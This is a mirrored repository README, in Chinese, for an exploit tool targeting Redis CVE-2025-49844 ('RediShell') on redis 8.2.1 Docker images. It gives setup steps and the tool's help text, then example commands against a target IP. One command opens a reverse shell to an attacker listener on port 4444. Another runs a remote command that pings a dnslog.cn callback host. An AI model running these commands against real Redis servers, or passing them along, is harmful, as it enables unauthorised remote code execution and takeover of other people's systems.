redis-cve_2025_49844

KO | EN

gitlite — search

#python #java #python3 #arduino #golang #machine-learning #rust #html #flask #javascript #seismology #nodejs

redis-cve_2025_49844

★ 10 Open GitHub ↗

redis_rce

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# redis-cve-2025-49844
redis_rce

支持这两个版本
- x86-64 Linux `redis:8.2.1-alpine` Docker image
- x86-64 Linux `redis:8.2.1-bookworm` Docker image

1.复现环境
```
镜像拉取
docker run -d -p 6379:6379 redis:8.2.1-alpine
```
2.利用
```
cd cve-2025-49844
同步依赖
uv sync
```
3.工具使用帮助
uv run cve-2025-49844 -h
```
CVE-2025-49844 (RediShell) Exploit
positional arguments:
  {command,rshell}
    command             Execute one-way shell command
    rshell              Get reverse shell

options:
  -h, --help            show this help message and exit
  --target-host TARGET_HOST
                        Redis target host (default: 127.0.0.1)
  --target-port TARGET_PORT
                        Redis target port (default: 6379)
  --password PASSWORD   Redis AUTH password (if required)
```

- 反弹命令执行
```
uv run cve-2025-49844 --target-host 192.168.41.128 --target-port 6379 rshell -l 10.22.167.164 -p 4444
```
<img width="1080" height="233" alt="屏幕截图 2025-12-25 183037" src="https://github.com/user-attachments/assets/fbf6adbe-04b0-45be-bd72-80a7ae22d339" />

- 单命令执行
```
uv run cve-2025-49844  --target-host 192.168.41.128 --target-port 6379 command "ping qanctw.dnslog.cn"
```
<img width="1114" height="245" alt="屏幕截图 2025-12-25 175214" src="https://github.com/user-attachments/assets/32f800e3-40e3-485f-8808-2f4d8d8e12e3" />

redis-cve_2025_49844

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README